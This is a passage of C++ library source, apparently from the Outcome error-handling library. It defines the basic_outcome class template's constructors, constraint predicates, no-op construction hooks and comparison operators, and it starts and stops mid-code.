static constexpr bool enable_inplace_value_error_exception_constructor = //
implicit_constructors_enabled && !std::is_same<choose_inplace_value_error_exception_constructor<Args...>, disable_inplace_value_error_exception_constructor>::value;
};
// Select whether to use basic_outcome_failure_observers or not
template <class Base, class R, class S, class P, class NoValuePolicy>
using select_basic_outcome_failure_observers = //
std::conditional_t<trait::is_error_code_available<S>::value && trait::is_exception_ptr_available<P>::value, basic_outcome_failure_observers<Base, R, S, P, NoValuePolicy>, Base>;
template <class T, class U, class V> constexpr inline const V &extract_exception_from_failure(const failure_type<U, V> &v) { return v.exception(); }
template <class T, class U, class V> constexpr inline V &&extract_exception_from_failure(failure_type<U, V> &&v) { return static_cast<failure_type<U, V> &&>(v).exception(); }
template <class T, class U> constexpr inline const U &extract_exception_from_failure(const failure_type<U, void> &v) { return v.error(); }
template <class T, class U> constexpr inline U &&extract_exception_from_failure(failure_type<U, void> &&v) { return static_cast<failure_type<U, void> &&>(v).error(); }
template <class T> struct is_basic_outcome
{
static constexpr bool value = false;
};
template <class R, class S, class T, class N> struct is_basic_outcome<basic_outcome<R, S, T, N>>
{
static constexpr bool value = true;
};
} // namespace detail
/*! AWAITING HUGO JSON CONVERSION TOOL
type alias template <class T> is_basic_outcome. Potential doc page: `is_basic_outcome<T>`
*/
template <class T> using is_basic_outcome = detail::is_basic_outcome<std::decay_t<T>>;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T> static constexpr bool is_basic_outcome_v = detail::is_basic_outcome<std::decay_t<T>>::value;
namespace hooks
{
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class... U> constexpr inline void hook_outcome_construction(T * /*unused*/, U &&... /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U> constexpr inline void hook_outcome_copy_construction(T * /*unused*/, U && /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U> constexpr inline void hook_outcome_move_construction(T * /*unused*/, U && /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class U, class... Args> constexpr inline void hook_outcome_in_place_construction(T * /*unused*/, in_place_type_t<U> /*unused*/, Args &&... /*unused*/) noexcept {}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R, class S, class P, class NoValuePolicy, class U> constexpr inline void override_outcome_exception(basic_outcome<R, S, P, NoValuePolicy> *o, U &&v) noexcept;
} // namespace hooks
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition template <class R, class S, class P, class NoValuePolicy> basic_outcome. Potential doc page: `basic_outcome<T, EC, EP, NoValuePolicy>`
*/
template <class R, class S, class P, class NoValuePolicy> //
OUTCOME_REQUIRES(trait::type_can_be_used_in_basic_result<P> && (std::is_void<P>::value || std::is_default_constructible<P>::value)) //
class OUTCOME_NODISCARD basic_outcome
: public detail::select_basic_outcome_failure_observers<detail::basic_outcome_exception_observers<detail::basic_result_final<R, S, NoValuePolicy>, R, S, P, NoValuePolicy>, R, S, P, NoValuePolicy>
{
static_assert(trait::type_can_be_used_in_basic_result<P>, "The exception_type cannot be used");
static_assert(std::is_void<P>::value || std::is_default_constructible<P>::value, "exception_type must be void or default constructible");
using base = detail::select_basic_outcome_failure_observers<detail::basic_outcome_exception_observers<detail::basic_result_final<R, S, NoValuePolicy>, R, S, P, NoValuePolicy>, R, S, P, NoValuePolicy>;
friend struct policy::base;
template <class T, class U, class V, class W> friend class basic_outcome;
template <class T, class U, class V, class W, class X> friend constexpr inline void hooks::override_outcome_exception(basic_outcome<T, U, V, W> *o, X &&v) noexcept; // NOLINT
struct implicit_constructors_disabled_tag
{
};
struct value_converting_constructor_tag
{
};
struct error_converting_constructor_tag
{
};
struct error_condition_converting_constructor_tag
{
};
struct exception_converting_constructor_tag
{
};
struct error_exception_converting_constructor_tag
{
};
struct explicit_valueorerror_converting_constructor_tag
{
};
struct error_failure_tag
{
};
struct exception_failure_tag
{
};
struct disable_in_place_value_type
{
};
struct disable_in_place_error_type
{
};
struct disable_in_place_exception_type
{
};
public:
using value_type = R;
using error_type = S;
using exception_type = P;
template <class T, class U = S, class V = P, class W = NoValuePolicy> using rebind = basic_outcome<T, U, V, W>;
protected:
// Requirement predicates for outcome.
struct predicate
{
using base = detail::outcome_predicates<value_type, error_type, exception_type>;
// Predicate for any constructors to be available at all
static constexpr bool constructors_enabled = (!std::is_same<std::decay_t<value_type>, std::decay_t<error_type>>::value || (std::is_void<value_type>::value && std::is_void<error_type>::value)) //
&& (!std::is_same<std::decay_t<value_type>, std::decay_t<exception_type>>::value || (std::is_void<value_type>::value && std::is_void<exception_type>::value)) //
&& (!std::is_same<std::decay_t<error_type>, std::decay_t<exception_type>>::value || (std::is_void<error_type>::value && std::is_void<exception_type>::value)) //
;
// Predicate for implicit constructors to be available at all
static constexpr bool implicit_constructors_enabled = constructors_enabled && base::implicit_constructors_enabled;
// Predicate for the value converting constructor to be available.
template <class T>
static constexpr bool enable_value_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<T>, basic_outcome>::value // not my type
&& base::template enable_value_converting_constructor<T>;
// Predicate for the error converting constructor to be available.
template <class T>
static constexpr bool enable_error_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<T>, basic_outcome>::value // not my type
&& base::template enable_error_converting_constructor<T>;
// Predicate for the error condition converting constructor to be available.
template <class ErrorCondEnum>
static constexpr bool enable_error_condition_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<ErrorCondEnum>, basic_outcome>::value // not my type
&& base::template enable_error_condition_converting_constructor<ErrorCondEnum>;
// Predicate for the exception converting constructor to be available.
template <class T>
static constexpr bool enable_exception_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<T>, basic_outcome>::value // not my type
&& base::template enable_exception_converting_constructor<T>;
// Predicate for the error + exception converting constructor to be available.
template <class T, class U>
static constexpr bool enable_error_exception_converting_constructor = //
constructors_enabled //
&& !std::is_same<std::decay_t<T>, basic_outcome>::value // not my type
&& base::template enable_error_exception_converting_constructor<T, U>;
// Predicate for the converting constructor from a compatible input to be available.
template <class T, class U, class V, class W>
static constexpr bool enable_compatible_conversion = //
constructors_enabled //
&& !std::is_same<basic_outcome<T, U, V, W>, basic_outcome>::value // not my type
&& base::template enable_compatible_conversion<T, U, V, W>;
// Predicate for the inplace construction of value to be available.
template <class... Args>
static constexpr bool enable_inplace_value_constructor = //
constructors_enabled //
&& (std::is_void<value_type>::value //
|| std::is_constructible<value_type, Args...>::value);
// Predicate for the inplace construction of error to be available.
template <class... Args>
static constexpr bool enable_inplace_error_constructor = //
constructors_enabled //
&& (std::is_void<error_type>::value //
|| std::is_constructible<error_type, Args...>::value);
// Predicate for the inplace construction of exception to be available.
template <class... Args>
static constexpr bool enable_inplace_exception_constructor = //
constructors_enabled //
&& (std::is_void<exception_type>::value //
|| std::is_constructible<exception_type, Args...>::value);
// Predicate for the implicit converting inplace constructor to be available.
template <class... Args>
static constexpr bool enable_inplace_value_error_exception_constructor = //
constructors_enabled //
&&base::template enable_inplace_value_error_exception_constructor<Args...>;
template <class... Args> using choose_inplace_value_error_exception_constructor = typename base::template choose_inplace_value_error_exception_constructor<Args...>;
};
public:
using value_type_if_enabled = std::conditional_t<std::is_same<value_type, error_type>::value || std::is_same<value_type, exception_type>::value, disable_in_place_value_type, value_type>;
using error_type_if_enabled = std::conditional_t<std::is_same<error_type, value_type>::value || std::is_same<error_type, exception_type>::value, disable_in_place_error_type, error_type>;
using exception_type_if_enabled = std::conditional_t<std::is_same<exception_type, value_type>::value || std::is_same<exception_type, error_type>::value, disable_in_place_exception_type, exception_type>;
protected:
detail::devoid<exception_type> _ptr;
public:
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class Arg, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED((!predicate::constructors_enabled && sizeof...(Args) >= 0)))
basic_outcome(Arg && /*unused*/, Args &&... /*unused*/) = delete; // NOLINT basic_outcome<> with any of the same type is NOT SUPPORTED, see docs!
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED((predicate::constructors_enabled && !predicate::implicit_constructors_enabled //
&& (detail::is_implicitly_constructible<value_type, T> || detail::is_implicitly_constructible<error_type, T> || detail::is_implicitly_constructible<exception_type, T>) )))
basic_outcome(T && /*unused*/, implicit_constructors_disabled_tag /*unused*/ = implicit_constructors_disabled_tag()) = delete; // NOLINT Implicit constructors disabled, use explicit in_place_type<T>, success() or failure(). see docs!
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_value_converting_constructor<T>))
constexpr basic_outcome(T &&t, value_converting_constructor_tag /*unused*/ = value_converting_constructor_tag()) noexcept(std::is_nothrow_constructible<value_type, T>::value) // NOLINT
: base{in_place_type<typename base::_value_type>, static_cast<T &&>(t)},
_ptr()
{
using namespace hooks;
hook_outcome_construction(this, static_cast<T &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_error_converting_constructor<T>))
constexpr basic_outcome(T &&t, error_converting_constructor_tag /*unused*/ = error_converting_constructor_tag()) noexcept(std::is_nothrow_constructible<error_type, T>::value) // NOLINT
: base{in_place_type<typename base::_error_type>, static_cast<T &&>(t)},
_ptr()
{
using namespace hooks;
hook_outcome_construction(this, static_cast<T &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class ErrorCondEnum)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(error_type(make_error_code(ErrorCondEnum()))), //
OUTCOME_TPRED(predicate::template enable_error_condition_converting_constructor<ErrorCondEnum>))
constexpr basic_outcome(ErrorCondEnum &&t, error_condition_converting_constructor_tag /*unused*/ = error_condition_converting_constructor_tag()) noexcept(noexcept(error_type(make_error_code(static_cast<ErrorCondEnum &&>(t))))) // NOLINT
: base{in_place_type<typename base::_error_type>, make_error_code(t)}
{
using namespace hooks;
hook_outcome_construction(this, static_cast<ErrorCondEnum &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_exception_converting_constructor<T>))
constexpr basic_outcome(T &&t, exception_converting_constructor_tag /*unused*/ = exception_converting_constructor_tag()) noexcept(std::is_nothrow_constructible<exception_type, T>::value) // NOLINT
: base(),
_ptr(static_cast<T &&>(t))
{
using namespace hooks;
this->_state._status |= detail::status_have_exception;
hook_outcome_construction(this, static_cast<T &&>(t));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_error_exception_converting_constructor<T, U>))
constexpr basic_outcome(T &&a, U &&b, error_exception_converting_constructor_tag /*unused*/ = error_exception_converting_constructor_tag()) noexcept(std::is_nothrow_constructible<error_type, T>::value &&std::is_nothrow_constructible<exception_type, U>::value) // NOLINT
: base{in_place_type<typename base::_error_type>, static_cast<T &&>(a)},
_ptr(static_cast<U &&>(b))
{
using namespace hooks;
this->_state._status |= detail::status_have_exception;
hook_outcome_construction(this, static_cast<T &&>(a), static_cast<U &&>(b));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(convert::value_or_error<basic_outcome, std::decay_t<T>>::enable_result_inputs || !is_basic_result_v<T>), //
OUTCOME_TPRED(convert::value_or_error<basic_outcome, std::decay_t<T>>::enable_outcome_inputs || !is_basic_outcome_v<T>), //
OUTCOME_TEXPR(convert::value_or_error<basic_outcome, std::decay_t<T>>{}(std::declval<T>())))
constexpr explicit basic_outcome(T &&o, explicit_valueorerror_converting_constructor_tag /*unused*/ = explicit_valueorerror_converting_constructor_tag()) // NOLINT
: basic_outcome{convert::value_or_error<basic_outcome, std::decay_t<T>>{}(static_cast<T &&>(o))}
{
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V, class W)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<T, U, V, W>))
constexpr explicit basic_outcome(const basic_outcome<T, U, V, W> &o) noexcept(std::is_nothrow_constructible<value_type, T>::value &&std::is_nothrow_constructible<error_type, U>::value &&std::is_nothrow_constructible<exception_type, V>::value)
: base{typename base::compatible_conversion_tag(), o}
, _ptr(o._ptr)
{
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V, class W)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_compatible_conversion<T, U, V, W>))
constexpr explicit basic_outcome(basic_outcome<T, U, V, W> &&o) noexcept(std::is_nothrow_constructible<value_type, T>::value &&std::is_nothrow_constructible<error_type, U>::value &&std::is_nothrow_constructible<exception_type, V>::value)
: base{typename base::compatible_conversion_tag(), static_cast<basic_outcome<T, U, V, W> &&>(o)}
, _ptr(static_cast<typename basic_outcome<T, U, V, W>::exception_type &&>(o._ptr))
{
using namespace hooks;
hook_outcome_move_construction(this, static_cast<basic_outcome<T, U, V, W> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V)
OUTCOME_TREQUIRES(OUTCOME_TPRED(detail::result_predicates<value_type, error_type>::template enable_compatible_conversion<T, U, V>))
constexpr explicit basic_outcome(const basic_result<T, U, V> &o) noexcept(std::is_nothrow_constructible<value_type, T>::value &&std::is_nothrow_constructible<error_type, U>::value &&std::is_nothrow_constructible<exception_type>::value)
: base{typename base::compatible_conversion_tag(), o}
, _ptr()
{
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V)
OUTCOME_TREQUIRES(OUTCOME_TPRED(detail::result_predicates<value_type, error_type>::template enable_compatible_conversion<T, U, V>))
constexpr explicit basic_outcome(basic_result<T, U, V> &&o) noexcept(std::is_nothrow_constructible<value_type, T>::value &&std::is_nothrow_constructible<error_type, U>::value &&std::is_nothrow_constructible<exception_type>::value)
: base{typename base::compatible_conversion_tag(), static_cast<basic_result<T, U, V> &&>(o)}
, _ptr()
{
using namespace hooks;
hook_outcome_move_construction(this, static_cast<basic_result<T, U, V> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_value_constructor<Args...>))
constexpr explicit basic_outcome(in_place_type_t<value_type_if_enabled> _, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, Args...>::value)
: base{_, static_cast<Args &&>(args)...}
, _ptr()
{
using namespace hooks;
hook_outcome_in_place_construction(this, in_place_type<value_type>, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class U, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_value_constructor<std::initializer_list<U>, Args...>))
constexpr explicit basic_outcome(in_place_type_t<value_type_if_enabled> _, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, std::initializer_list<U>, Args...>::value)
: base{_, il, static_cast<Args &&>(args)...}
, _ptr()
{
using namespace hooks;
hook_outcome_in_place_construction(this, in_place_type<value_type>, il, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_error_constructor<Args...>))
constexpr explicit basic_outcome(in_place_type_t<error_type_if_enabled> _, Args &&... args) noexcept(std::is_nothrow_constructible<error_type, Args...>::value)
: base{_, static_cast<Args &&>(args)...}
, _ptr()
{
using namespace hooks;
hook_outcome_in_place_construction(this, in_place_type<error_type>, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class U, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_error_constructor<std::initializer_list<U>, Args...>))
constexpr explicit basic_outcome(in_place_type_t<error_type_if_enabled> _, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<error_type, std::initializer_list<U>, Args...>::value)
: base{_, il, static_cast<Args &&>(args)...}
, _ptr()
{
using namespace hooks;
hook_outcome_in_place_construction(this, in_place_type<error_type>, il, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_exception_constructor<Args...>))
constexpr explicit basic_outcome(in_place_type_t<exception_type_if_enabled> /*unused*/, Args &&... args) noexcept(std::is_nothrow_constructible<exception_type, Args...>::value)
: base()
, _ptr(static_cast<Args &&>(args)...)
{
using namespace hooks;
this->_state._status |= detail::status_have_exception;
hook_outcome_in_place_construction(this, in_place_type<exception_type>, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class U, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_exception_constructor<std::initializer_list<U>, Args...>))
constexpr explicit basic_outcome(in_place_type_t<exception_type_if_enabled> /*unused*/, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<exception_type, std::initializer_list<U>, Args...>::value)
: base()
, _ptr(il, static_cast<Args &&>(args)...)
{
using namespace hooks;
this->_state._status |= detail::status_have_exception;
hook_outcome_in_place_construction(this, in_place_type<exception_type>, il, static_cast<Args &&>(args)...);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class A1, class A2, class... Args)
OUTCOME_TREQUIRES(OUTCOME_TPRED(predicate::template enable_inplace_value_error_exception_constructor<A1, A2, Args...>))
constexpr basic_outcome(A1 &&a1, A2 &&a2, Args &&... args) noexcept(noexcept(typename predicate::template choose_inplace_value_error_exception_constructor<A1, A2, Args...>(std::declval<A1>(), std::declval<A2>(), std::declval<Args>()...)))
: basic_outcome(in_place_type<typename predicate::template choose_inplace_value_error_exception_constructor<A1, A2, Args...>>, static_cast<A1 &&>(a1), static_cast<A2 &&>(a2), static_cast<Args &&>(args)...)
{
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
constexpr basic_outcome(const success_type<void> &o) noexcept(std::is_nothrow_default_constructible<value_type>::value) // NOLINT
: base{in_place_type<typename base::_value_type>}
{
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<T, void, void, void>))
constexpr basic_outcome(const success_type<T> &o) noexcept(std::is_nothrow_constructible<value_type, T>::value) // NOLINT
: base{in_place_type<typename base::_value_type>, detail::extract_value_from_success<value_type>(o)}
{
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<T, void, void, void>))
constexpr basic_outcome(success_type<T> &&o) noexcept(std::is_nothrow_constructible<value_type, T>::value) // NOLINT
: base{in_place_type<typename base::_value_type>, detail::extract_value_from_success<value_type>(static_cast<success_type<T> &&>(o))}
{
using namespace hooks;
hook_outcome_move_construction(this, static_cast<success_type<T> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<void, T, void, void>))
constexpr basic_outcome(const failure_type<T> &o, error_failure_tag /*unused*/ = error_failure_tag()) noexcept(std::is_nothrow_constructible<error_type, T>::value) // NOLINT
: base{in_place_type<typename base::_error_type>, detail::extract_error_from_failure<error_type>(o)},
_ptr()
{
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<void, void, T, void>))
constexpr basic_outcome(const failure_type<T> &o, exception_failure_tag /*unused*/ = exception_failure_tag()) noexcept(std::is_nothrow_constructible<exception_type, T>::value) // NOLINT
: base(),
_ptr(detail::extract_exception_from_failure<exception_type>(o))
{
this->_state._status |= detail::status_have_exception;
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<U>::value && predicate::template enable_compatible_conversion<void, T, U, void>))
constexpr basic_outcome(const failure_type<T, U> &o) noexcept(std::is_nothrow_constructible<error_type, T>::value &&std::is_nothrow_constructible<exception_type, U>::value) // NOLINT
: base{in_place_type<typename base::_error_type>, detail::extract_error_from_failure<error_type>(o)},
_ptr(detail::extract_exception_from_failure<exception_type>(o))
{
if(!o.has_error())
{
this->_state._status &= ~detail::status_have_error;
}
if(o.has_exception())
{
this->_state._status |= detail::status_have_exception;
}
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<void, T, void, void>))
constexpr basic_outcome(failure_type<T> &&o, error_failure_tag /*unused*/ = error_failure_tag()) noexcept(std::is_nothrow_constructible<error_type, T>::value) // NOLINT
: base{in_place_type<typename base::_error_type>, detail::extract_error_from_failure<error_type>(static_cast<failure_type<T> &&>(o))},
_ptr()
{
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<T>::value && predicate::template enable_compatible_conversion<void, void, T, void>))
constexpr basic_outcome(failure_type<T> &&o, exception_failure_tag /*unused*/ = exception_failure_tag()) noexcept(std::is_nothrow_constructible<exception_type, T>::value) // NOLINT
: base(),
_ptr(detail::extract_exception_from_failure<exception_type>(static_cast<failure_type<T> &&>(o)))
{
this->_state._status |= detail::status_have_exception;
using namespace hooks;
hook_outcome_copy_construction(this, o);
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_void<U>::value && predicate::template enable_compatible_conversion<void, T, U, void>))
constexpr basic_outcome(failure_type<T, U> &&o) noexcept(std::is_nothrow_constructible<error_type, T>::value &&std::is_nothrow_constructible<exception_type, U>::value) // NOLINT
: base{in_place_type<typename base::_error_type>, detail::extract_error_from_failure<error_type>(static_cast<failure_type<T, U> &&>(o))},
_ptr(detail::extract_exception_from_failure<exception_type>(static_cast<failure_type<T, U> &&>(o)))
{
if(!o.has_error())
{
this->_state._status &= ~detail::status_have_error;
}
if(o.has_exception())
{
this->_state._status |= detail::status_have_exception;
}
using namespace hooks;
hook_outcome_move_construction(this, static_cast<failure_type<T, U> &&>(o));
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
using base::operator==;
using base::operator!=;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V, class W)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<detail::devoid<value_type>>() == std::declval<detail::devoid<T>>()), //
OUTCOME_TEXPR(std::declval<detail::devoid<error_type>>() == std::declval<detail::devoid<U>>()), //
OUTCOME_TEXPR(std::declval<detail::devoid<exception_type>>() == std::declval<detail::devoid<V>>()))
constexpr bool operator==(const basic_outcome<T, U, V, W> &o) const noexcept( //
noexcept(std::declval<detail::devoid<value_type>>() == std::declval<detail::devoid<T>>()) //
&& noexcept(std::declval<detail::devoid<error_type>>() == std::declval<detail::devoid<U>>()) //
&& noexcept(std::declval<detail::devoid<exception_type>>() == std::declval<detail::devoid<V>>()))
{
if((this->_state._status & detail::status_have_value) != 0 && (o._state._status & detail::status_have_value) != 0)
{
return this->_state._value == o._state._value; // NOLINT
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0 //
&& (this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_error == o._error && this->_ptr == o._ptr;
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0)
{
return this->_error == o._error;
}
if((this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_ptr == o._ptr;
}
return false;
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<error_type>() == std::declval<T>()), //
OUTCOME_TEXPR(std::declval<exception_type>() == std::declval<U>()))
constexpr bool operator==(const failure_type<T, U> &o) const noexcept( //
noexcept(std::declval<error_type>() == std::declval<T>()) && noexcept(std::declval<exception_type>() == std::declval<U>()))
{
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0 //
&& (this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_error == o.error() && this->_ptr == o.exception();
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0)
{
return this->_error == o.error();
}
if((this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_ptr == o.exception();
}
return false;
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V, class W)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<detail::devoid<value_type>>() != std::declval<detail::devoid<T>>()), //
OUTCOME_TEXPR(std::declval<detail::devoid<error_type>>() != std::declval<detail::devoid<U>>()), //
OUTCOME_TEXPR(std::declval<detail::devoid<exception_type>>() != std::declval<detail::devoid<V>>()))
constexpr bool operator!=(const basic_outcome<T, U, V, W> &o) const noexcept( //
noexcept(std::declval<detail::devoid<value_type>>() != std::declval<detail::devoid<T>>()) //
&& noexcept(std::declval<detail::devoid<error_type>>() != std::declval<detail::devoid<U>>()) //
&& noexcept(std::declval<detail::devoid<exception_type>>() != std::declval<detail::devoid<V>>()))
{
if((this->_state._status & detail::status_have_value) != 0 && (o._state._status & detail::status_have_value) != 0)
{
return this->_state._value != o._state._value; // NOLINT
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0 //
&& (this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_error != o._error || this->_ptr != o._ptr;
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0)
{
return this->_error != o._error;
}
if((this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_ptr != o._ptr;
}
return true;
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<error_type>() != std::declval<T>()), //
OUTCOME_TEXPR(std::declval<exception_type>() != std::declval<U>()))
constexpr bool operator!=(const failure_type<T, U> &o) const noexcept( //
noexcept(std::declval<error_type>() == std::declval<T>()) && noexcept(std::declval<exception_type>() == std::declval<U>()))
{
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0 //
&& (this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
